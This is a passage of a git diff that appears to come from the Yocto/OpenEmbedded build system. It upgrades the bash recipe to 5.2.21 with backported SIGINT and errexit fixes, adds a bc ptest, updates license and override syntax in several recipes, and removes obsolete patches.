+@@ -2735,6 +2739,7 @@ wait_sigint_cleanup ()
+ static void
+ restore_sigint_handler ()
+ {
++ cur_sigint_handler = old_sigint_handler;
+ if (old_sigint_handler != INVALID_SIGNAL_HANDLER)
+ {
+ set_signal_handler (SIGINT, old_sigint_handler);
+@@ -2758,8 +2763,7 @@ wait_sigint_handler (sig)
+ restore_sigint_handler ();
+ /* If we got a SIGINT while in `wait', and SIGINT is trapped, do
+ what POSIX.2 says (see builtins/wait.def for more info). */
+- if (this_shell_builtin && this_shell_builtin == wait_builtin &&
+- signal_is_trapped (SIGINT) &&
++ if (signal_is_trapped (SIGINT) &&
+ ((sigint_handler = trap_to_sighandler (SIGINT)) == trap_handler))
+ {
+ trap_handler (SIGINT); /* set pending_traps[SIGINT] */
+@@ -2782,6 +2786,8 @@ wait_sigint_handler (sig)
+ {
+ set_exit_status (128+SIGINT);
+ restore_sigint_handler ();
++ if (cur_sigint_handler == INVALID_SIGNAL_HANDLER)
++ set_sigint_handler (); /* XXX - only do this in one place */
+ kill (getpid (), SIGINT);
+ }
+
+@@ -2926,11 +2932,13 @@ wait_for (pid, flags)
+ {
+ SigHandler *temp_sigint_handler;
+
+- temp_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
+- if (temp_sigint_handler == wait_sigint_handler)
+- internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
+- else
+- old_sigint_handler = temp_sigint_handler;
++ temp_sigint_handler = old_sigint_handler;
++ old_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
++ if (old_sigint_handler == wait_sigint_handler)
++ {
++ internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
++ old_sigint_handler = temp_sigint_handler;
++ }
+ waiting_for_child = 0;
+ if (old_sigint_handler == SIG_IGN)
+ set_signal_handler (SIGINT, old_sigint_handler);
+@@ -4136,7 +4144,7 @@ set_job_status_and_cleanup (job)
+ SIGINT (if we reset the sighandler to the default).
+ In this case, we have to fix things up. What a crock. */
+ if (temp_handler == trap_handler && signal_is_trapped (SIGINT) == 0)
+- temp_handler = trap_to_sighandler (SIGINT);
++ temp_handler = trap_to_sighandler (SIGINT);
+ restore_sigint_handler ();
+ if (temp_handler == SIG_DFL)
+ termsig_handler (SIGINT); /* XXX */
+diff --git a/tests/redir.right b/tests/redir.right
+index 8db10414..9e1403c8 100644
+--- a/tests/redir.right
++++ b/tests/redir.right
+@@ -154,10 +154,10 @@ foo
+ 1
+ 7
+ after: 42
+-./redir11.sub: line 53: $(ss= declare -i ss): ambiguous redirect
++./redir11.sub: line 55: $(ss= declare -i ss): ambiguous redirect
+ after: 42
+ a+=3
+ foo
+ foo
+-./redir11.sub: line 75: 42: No such file or directory
++./redir11.sub: line 77: 42: No such file or directory
+ 42
+diff --git a/tests/redir11.sub b/tests/redir11.sub
+index d417cdb6..ca9854cd 100644
+--- a/tests/redir11.sub
++++ b/tests/redir11.sub
+@@ -34,6 +34,8 @@ a=4 b=7 ss=4 declare -i ss
+ a=4 b=7 foo
+ echo after: $a
+
++exec 7>&- 4>&-
++
+ unset a
+ a=4 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 3'; }
+ a=1 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 4'; }
+diff --git a/tests/type.right b/tests/type.right
+index bbc228e8..e0a66745 100644
+--- a/tests/type.right
++++ b/tests/type.right
+@@ -24,15 +24,15 @@ func ()
+ }
+ while
+ while is a shell keyword
+-./type.tests: line 56: type: m: not found
+-alias m='more'
+-alias m='more'
+-m is aliased to `more'
++./type.tests: line 56: type: morealias: not found
++alias morealias='more'
++alias morealias='more'
++morealias is aliased to `more'
+ alias
+-alias m='more'
+-alias m='more'
+-alias m='more'
+-m is aliased to `more'
++alias morealias='more'
++alias morealias='more'
++alias morealias='more'
++morealias is aliased to `more'
+ builtin
+ builtin is a shell builtin
+ /bin/sh
+diff --git a/tests/type.tests b/tests/type.tests
+index fd39c18a..ddc15407 100644
+--- a/tests/type.tests
++++ b/tests/type.tests
+@@ -25,8 +25,6 @@ type -r ${THIS_SH}
+ type notthere
+ command -v notthere
+
+-alias m=more
+-
+ unset -f func 2>/dev/null
+ func() { echo this is func; }
+
+@@ -49,24 +47,26 @@ command -V func
+ command -v while
+ command -V while
+
++alias morealias=more
++
+ # the following two lines should produce the same output
+ # post-3.0 patch makes command -v silent, as posix specifies
+ # first test with alias expansion off (should all fail or produce no output)
+-type -t m
+-type m
+-command -v m
++type -t morealias
++type morealias
++command -v morealias
+ alias -p
+-alias m
++alias morealias
+
+ # then test with alias expansion on
+ shopt -s expand_aliases
+-type m
+-type -t m
+-command -v m
++type morealias
++type -t morealias
++command -v morealias
+ alias -p
+-alias m
++alias morealias
+
+-command -V m
++command -V morealias
+ shopt -u expand_aliases
+
+ command -v builtin
+@@ -76,7 +76,7 @@ command -V /bin/sh
+
+ unset -f func
+ type func
+-unalias m
++unalias morealias
+ type m
+
+ hash -r
+--
+2.35.5
+
diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch
index 5f2dae94a1..ea38bace9b 100644
--- a/meta/recipes-extended/bash/bash/build-tests.patch
+++ b/meta/recipes-extended/bash/bash/build-tests.patch
@@ -1,19 +1,24 @@
-Add 'ptest' target to Makefile, to run tests without checking dependencies.
+From 318b762837c2ad25319caeaf0320eff613b64daf Mon Sep 17 00:00:00 2001
+From: Anders Roxell <anders.roxell@enea.com>
+Date: Wed, 19 Dec 2012 17:18:31 +0100
+Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking
+ dependencies.
Upstream-Status: Pending
Signed-off-by: Anders Roxell <anders.roxell@enea.com>
Rebase to 5.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
Makefile.in | 24 +++++++++++++++++++-----
1 file changed, 19 insertions(+), 5 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index 5fcb44b..de1c255 100644
+index bc97049..937ce39 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -932,20 +932,34 @@ maybe-clean:
+@@ -943,20 +943,34 @@ maybe-clean:
fi
recho$(EXEEXT): $(SUPPORT_SRC)recho.c
@@ -51,8 +56,5 @@ index 5fcb44b..de1c255 100644
+
+runtest:
@( cd $(srcdir)/tests && \
- PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
+ BUILD_DIR=$(BUILD_DIR) PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
---
-2.7.4
-
diff --git a/meta/recipes-extended/bash/bash/execute_cmd.patch b/meta/recipes-extended/bash/bash/execute_cmd.patch
deleted file mode 100644
index 7a9e9a902f..0000000000
--- a/meta/recipes-extended/bash/bash/execute_cmd.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Rebase to 5.0
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- execute_cmd.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/execute_cmd.c b/execute_cmd.c
-index f1d74bf..31674b4 100644
---- a/execute_cmd.c
-+++ b/execute_cmd.c
-@@ -2567,7 +2567,11 @@ execute_pipeline (command, asynchronous, pipe_in, pipe_out, fds_to_close)
- /* If the `lastpipe' option is set with shopt, and job control is not
- enabled, execute the last element of non-async pipelines in the
- current shell environment. */
-- if (lastpipe_opt && job_control == 0 && asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
-+ if (lastpipe_opt &&
-+#if defined(JOB_CONTROL)
-+ job_control == 0 &&
-+#endif
-+ asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
- {
- lstdin = move_to_high_fd (0, 1, -1);
- if (lstdin > 0)
---
-2.7.4
-
diff --git a/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch b/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch
new file mode 100644
index 0000000000..60f1852316
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch
@@ -0,0 +1,34 @@
+From 59ddfda14e3c9aa6286bb4c4c0748f7c1324a65a Mon Sep 17 00:00:00 2001
+From: Chet Ramey <chet.ramey@case.edu>
+Date: Fri, 7 Apr 2023 00:28:46 -0700
+Subject: [PATCH] $(<nosuchfile) is no longer a fatal error with errexit
+ enabled
+
+This is a trimmed-down version of a commit in the bash 'devel' branch
+[1] that contains this fix as well as other unrelated ones.
+
+[1] https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=ec9447ce9392a0f93d96789c3741285fede8a150
+
+Upstream-Status: Backport
+
+Signed-off-by: Zev Weiss <zev@bewilderbeest.net>
+---
+ builtins/evalstring.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/builtins/evalstring.c b/builtins/evalstring.c
+index df3dd68e2a7e..6612081cd646 100644
+--- a/builtins/evalstring.c
++++ b/builtins/evalstring.c
+@@ -753,7 +753,7 @@ open_redir_file (r, fnp)
+ fd = open(fn, O_RDONLY);
+ if (fd < 0)
+ {
+- file_error (fn);
++ internal_error ("%s: %s", fn, strerror (errno));
+ free (fn);
+ if (fnp)
+ *fnp = 0;
+--
+2.40.0
+
diff --git a/meta/recipes-extended/bash/bash/use_aclocal.patch b/meta/recipes-extended/bash/bash/use_aclocal.patch
new file mode 100644
index 0000000000..bd6870b386
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/use_aclocal.patch
@@ -0,0 +1,70 @@
+From d1bf23817afffd5917b74da6946e0c3b7e63e336 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 28 Dec 2020 21:04:27 +0100
+Subject: [PATCH] bash: update 5.0 -> 5.1
+
+Including m4 files directly like this confuses autotools.bbclass, remove
+the references and rely upon aclocal to collect the m4 files together
+as needed instead making it work like other autotools based projects.
+
+Upstream-Status: Inappropriate [OE configuration specific]
+RP 2021/1/20
+
+---
+ configure.ac | 43 -------------------------------------------
+ 1 file changed, 43 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 50a6e20..a3b5bd7 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -710,49 +710,6 @@ if test x$SIZE = x; then
+ fi
+ AC_SUBST(SIZE)
+
+-m4_include([m4/stat-time.m4])
+-m4_include([m4/timespec.m4])
+-
+-m4_include([m4/strtoimax.m4])
+-
+-dnl include files for gettext
+-
+-m4_include([m4/codeset.m4])
+-m4_include([m4/extern-inline.m4])
+-m4_include([m4/fcntl-o.m4])
+-m4_include([m4/gettext.m4])
+-m4_include([m4/glibc2.m4])
+-m4_include([m4/glibc21.m4])
+-m4_include([m4/host-cpu-c-abi.m4])
+-m4_include([m4/iconv.m4])
+-m4_include([m4/intdiv0.m4])
+-m4_include([m4/intl.m4])
+-m4_include([m4/intlmacosx.m4])
+-m4_include([m4/intl-thread-locale.m4])
+-m4_include([m4/intmax.m4])
+-m4_include([m4/inttypes-pri.m4])
+-m4_include([m4/inttypes.m4])
+-m4_include([m4/inttypes_h.m4])
+-m4_include([m4/lcmessage.m4])
+-m4_include([m4/lib-ld.m4])
+-m4_include([m4/lib-link.m4])
+-m4_include([m4/lib-prefix.m4])
+-m4_include([m4/lock.m4])
+-m4_include([m4/nls.m4])
+-m4_include([m4/po.m4])
+-m4_include([m4/printf-posix.m4])
+-m4_include([m4/progtest.m4])
+-m4_include([m4/pthread_rwlock_rdlock.m4])
+-m4_include([m4/size_max.m4])
+-m4_include([m4/stdint_h.m4])
+-m4_include([m4/threadlib.m4])
+-m4_include([m4/uintmax_t.m4])
+-m4_include([m4/ulonglong.m4])
+-m4_include([m4/visibility.m4])
+-m4_include([m4/wchar_t.m4])
+-m4_include([m4/wint_t.m4])
+-m4_include([m4/xsize.m4])
+-
+ dnl C compiler characteristics
+ AC_C_CONST
+ AC_C_INLINE
diff --git a/meta/recipes-extended/bash/bash_5.0.bb b/meta/recipes-extended/bash/bash_5.0.bb
deleted file mode 100644
index 8ff9e6edaf..0000000000
--- a/meta/recipes-extended/bash/bash_5.0.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-require bash.inc
-
-# GPLv2+ (< 4.0), GPLv3+ (>= 4.0)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-001;apply=yes;striplevel=0;name=patch001 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-002;apply=yes;striplevel=0;name=patch002 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-003;apply=yes;striplevel=0;name=patch003 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-004;apply=yes;striplevel=0;name=patch004 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-005;apply=yes;striplevel=0;name=patch005 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-006;apply=yes;striplevel=0;name=patch006 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-007;apply=yes;striplevel=0;name=patch007 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-008;apply=yes;striplevel=0;name=patch008 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-009;apply=yes;striplevel=0;name=patch009 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-010;apply=yes;striplevel=0;name=patch010 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-011;apply=yes;striplevel=0;name=patch011 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-012;apply=yes;striplevel=0;name=patch012 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-013;apply=yes;striplevel=0;name=patch013 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-014;apply=yes;striplevel=0;name=patch014 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-015;apply=yes;striplevel=0;name=patch015 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-016;apply=yes;striplevel=0;name=patch016 \
- file://execute_cmd.patch \
- file://mkbuiltins_have_stringize.patch \
- file://build-tests.patch \
- file://test-output.patch \
- file://run-ptest \
- file://run-bash-ptests \
- file://fix-run-builtins.patch \
- "
-
-SRC_URI[tarball.md5sum] = "2b44b47b905be16f45709648f671820b"
-SRC_URI[tarball.sha256sum] = "b4a80f2ac66170b2913efbfb9f2594f1f76c7b1afd11f799e22035d63077fb4d"
-
-SRC_URI[patch001.md5sum] = "b026862ab596a5883bb4f0d1077a3819"
-SRC_URI[patch001.sha256sum] = "f2fe9e1f0faddf14ab9bfa88d450a75e5d028fedafad23b88716bd657c737289"
-SRC_URI[patch002.md5sum] = "2f4a7787365790ae57f36b311701ea7e"
-SRC_URI[patch002.sha256sum] = "87e87d3542e598799adb3e7e01c8165bc743e136a400ed0de015845f7ff68707"
-SRC_URI[patch003.md5sum] = "af7f2dd93fd5429fb5e9a642ff74f87d"
-SRC_URI[patch003.sha256sum] = "4eebcdc37b13793a232c5f2f498a5fcbf7da0ecb3da2059391c096db620ec85b"
-SRC_URI[patch004.md5sum] = "b60545b273bfa4e00a760f2c648bed9c"
-SRC_URI[patch004.sha256sum] = "14447ad832add8ecfafdce5384badd933697b559c4688d6b9e3d36ff36c62f08"
-SRC_URI[patch005.md5sum] = "875a0bedf48b74e453e3997c84b5d8a4"
-SRC_URI[patch005.sha256sum] = "5bf54dd9bd2c211d2bfb34a49e2c741f2ed5e338767e9ce9f4d41254bf9f8276"
-SRC_URI[patch006.md5sum] = "4a8ee95adb72c3aba03d9e8c9f96ece6"
-SRC_URI[patch006.sha256sum] = "d68529a6ff201b6ff5915318ab12fc16b8a0ebb77fda3308303fcc1e13398420"
-SRC_URI[patch007.md5sum] = "411560d81fde2dc5b17b83c3f3b58c6f"
-SRC_URI[patch007.sha256sum] = "17b41e7ee3673d8887dd25992417a398677533ab8827938aa41fad70df19af9b"
-SRC_URI[patch008.md5sum] = "dd7cf7a784d1838822cad8d419315991"
-SRC_URI[patch008.sha256sum] = "eec64588622a82a5029b2776e218a75a3640bef4953f09d6ee1f4199670ad7e3"
-SRC_URI[patch009.md5sum] = "c1b3e937cd6dccbb7fd772f32812a0da"
-SRC_URI[patch009.sha256sum] = "ed3ca21767303fc3de93934aa524c2e920787c506b601cc40a4897d4b094d903"
-SRC_URI[patch010.md5sum] = "19b41e73b03602d0e261c471b53e670c"
-SRC_URI[patch010.sha256sum] = "d6fbc325f0b5dc54ddbe8ee43020bced8bd589ddffea59d128db14b2e52a8a11"
-SRC_URI[patch011.md5sum] = "414339330a3634137081a97f2c8615a8"
-SRC_URI[patch011.sha256sum] = "2c4de332b91eaf797abbbd6c79709690b5cbd48b12e8dfe748096dbd7bf474ea"
-SRC_URI[patch012.md5sum] = "1870268f62b907221b078ad109e1fa94"
-SRC_URI[patch012.sha256sum] = "2943ee19688018296f2a04dbfe30b7138b889700efa8ff1c0524af271e0ee233"
-SRC_URI[patch013.md5sum] = "40d923af4b952b01983ed4c889ae2653"
-SRC_URI[patch013.sha256sum] = "f5d7178d8da30799e01b83a0802018d913d6aa972dd2ddad3b927f3f3eb7099a"
-SRC_URI[patch014.md5sum] = "57857b22053c8167677e5e5ac5c6669b"
-SRC_URI[patch014.sha256sum] = "5d6eee6514ee6e22a87bba8d22be0a8621a0ae119246f1c5a9a35db1f72af589"
-SRC_URI[patch015.md5sum] = "c4c6ea23d09a74eaa9385438e48fdf02"
-SRC_URI[patch015.sha256sum] = "a517df2dda93b26d5cbf00effefea93e3a4ccd6652f152f4109170544ebfa05e"
-SRC_URI[patch016.md5sum] = "a682ed6fa2c2e7a7c3ba6bdeada07fb5"
-SRC_URI[patch016.sha256sum] = "ffd1d7a54a99fa7f5b1825e4f7e95d8c8876bc2ca151f150e751d429c650b06d"
-
-DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bash/bash_5.2.21.bb b/meta/recipes-extended/bash/bash_5.2.21.bb
new file mode 100644
index 0000000000..532adf4c1a
--- /dev/null
+++ b/meta/recipes-extended/bash/bash_5.2.21.bb
@@ -0,0 +1,24 @@
+require bash.inc
+
+# GPL-2.0-or-later (< 4.0), GPL-3.0-or-later (>= 4.0)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
+ file://mkbuiltins_have_stringize.patch \
+ file://build-tests.patch \
+ file://test-output.patch \
+ file://run-ptest \
+ file://run-bash-ptests \
+ file://fix-run-builtins.patch \
+ file://use_aclocal.patch \
+ file://0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch \
+ file://fix-filesubst-errexit.patch \
+ "
+
+SRC_URI[tarball.sha256sum] = "c8e31bdc59b69aaffc5b36509905ba3e5cbb12747091d27b4b977f078560d5b8"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bc/bc/run-ptest b/meta/recipes-extended/bc/bc/run-ptest
new file mode 100644
index 0000000000..ba5abe6805
--- /dev/null
+++ b/meta/recipes-extended/bc/bc/run-ptest
@@ -0,0 +1,9 @@
+#! /bin/sh
+
+for TEST in *.b; do
+ if bc -l $TEST </dev/null; then
+ echo "PASS: bc/$TEST"
+ else
+ echo "FAIL: bc/$TEST"
+ fi
+done
diff --git a/meta/recipes-extended/bc/bc_1.07.1.bb b/meta/recipes-extended/bc/bc_1.07.1.bb
index 4a51302492..819da6cda6 100644
--- a/meta/recipes-extended/bc/bc_1.07.1.bb
+++ b/meta/recipes-extended/bc/bc_1.07.1.bb
@@ -1,7 +1,8 @@
SUMMARY = "Arbitrary precision calculator language"
HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
+DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements."
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
file://bc/bcdefs.h;endline=17;md5=4295c06df9e833519a342f7b5d43db06 \
@@ -14,21 +15,26 @@ DEPENDS = "flex-native"
SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
file://no-gen-libmath.patch \
file://libmath.h \
- file://0001-dc-fix-exit-code-of-q-command.patch"
+ file://0001-dc-fix-exit-code-of-q-command.patch \
+ file://run-ptest"
SRC_URI[md5sum] = "cda93857418655ea43590736fc3ca9fc"
SRC_URI[sha256sum] = "62adfca89b0a1c0164c2cdca59ca210c1d44c3ffc46daf9931cf4942664cb02a"
-inherit autotools texinfo update-alternatives
+inherit autotools texinfo update-alternatives ptest
PACKAGECONFIG ??= "readline"
PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
-do_compile_prepend() {
+do_compile:prepend() {
cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h
}
-ALTERNATIVE_${PN} = "bc dc"
+do_install_ptest() {
+ install ${S}/Test/*.b ${D}${PTEST_PATH}
+}
+
+ALTERNATIVE:${PN} = "bc dc"
ALTERNATIVE_PRIORITY = "100"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/blktool/blktool_4-7.1.bb b/meta/recipes-extended/blktool/blktool_4-7.1.bb
index ff2eaa5352..bb44befb56 100644
--- a/meta/recipes-extended/blktool/blktool_4-7.1.bb
+++ b/meta/recipes-extended/blktool/blktool_4-7.1.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "blktool is used for querying and/or changing settings \
of a block device. It is like hdparm but a more general tool, as it \
works on SCSI, IDE and SATA devices."
HOMEPAGE = "http://packages.debian.org/unstable/admin/blktool"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://blktool.c;beginline=7;endline=8;md5=a5e798ea98fd50972088968a15e5f373"
diff --git a/meta/recipes-extended/bzip2/bzip2/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am
index d4498947e8..d12d3a45e4 100644
--- a/meta/recipes-extended/bzip2/bzip2/Makefile.am
+++ b/meta/recipes-extended/bzip2/bzip2/Makefile.am
@@ -1,6 +1,6 @@
lib_LTLIBRARIES = libbz2.la
-libbz2_la_LDFLAGS = -version-info 1:6:0
+libbz2_la_LDFLAGS = -version-info 1:8:0
libbz2_la_SOURCES = blocksort.c \
huffman.c \
@@ -46,7 +46,7 @@ runtest:
else echo "FAIL: sample2 decompress"; fi
@if cmp sample3.tst sample3.ref; then echo "PASS: sample3 decompress";\
else echo "FAIL: sample3 decompress"; fi
- ./bzip2-tests/run-tests.sh --tests-dir="$(PWD)/bzip2-tests"
+ ./bzip2-tests/run-tests.sh --without-valgrind --tests-dir="$(PWD)/bzip2-tests"
install-ptest:
sed -n '/^runtest:/,/^install-ptest:/{/^install-ptest:/!p}' \
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
index 70eb67f1f2..4e3a06f240 100644
--- a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
+++ b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
@@ -4,14 +4,14 @@ Huffman coding. Compression is generally considerably better than that achieved
LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors."
HOMEPAGE = "https://sourceware.org/bzip2/"
SECTION = "console/utils"
-LICENSE = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
-LICENSE_${PN} = "bzip2-1.0.6"
-LICENSE_${PN}-dev = "bzip2-1.0.6"
-LICENSE_${PN}-dbg = "bzip2-1.0.6"
-LICENSE_${PN}-doc = "bzip2-1.0.6"
-LICENSE_${PN}-src = "bzip2-1.0.6"
-LICENSE_libbz2 = "bzip2-1.0.6"
-LICENSE_${PN}-ptest = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+LICENSE = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+LICENSE:${PN} = "bzip2-1.0.6"
+LICENSE:${PN}-dev = "bzip2-1.0.6"
+LICENSE:${PN}-dbg = "bzip2-1.0.6"
+LICENSE:${PN}-doc = "bzip2-1.0.6"
+LICENSE:${PN}-src = "bzip2-1.0.6"
+LICENSE:libbz2 = "bzip2-1.0.6"
+LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \
file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \
@@ -22,7 +22,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e
"
SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
- git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests \
+ git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master;protocol=https \
file://configure.ac;subdir=${BP} \
file://Makefile.am;subdir=${BP} \
file://run-ptest \
@@ -36,17 +36,17 @@ UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/"
PACKAGES =+ "libbz2"
-CFLAGS_append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
+CFLAGS:append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
inherit autotools update-alternatives ptest relative_symlinks
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "bunzip2 bzcat bzip2"
+ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2"
#install binaries to bzip2-native under sysroot for replacement-native
-EXTRA_OECONF_append_class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
+EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
-do_configure_prepend () {
+do_configure:prepend () {
sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac
}
@@ -62,9 +62,9 @@ do_install_ptest () {
sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
}
-FILES_libbz2 = "${libdir}/lib*${SOLIBS}"
+FILES:libbz2 = "${libdir}/lib*${SOLIBS}"
-RDEPENDS_${PN}-ptest += "make bash"
+RDEPENDS:${PN}-ptest += "make bash"
-PROVIDES_append_class-native = " bzip2-replacement-native"
+PROVIDES:append:class-native = " bzip2-replacement-native"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 6ae213942c..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: cpio-2.11/gnu/Makefile.am
-===================================================================
---- cpio-2.11.orig/gnu/Makefile.am
-+++ cpio-2.11/gnu/Makefile.am
-@@ -734,7 +734,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch b/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
deleted file mode 100644
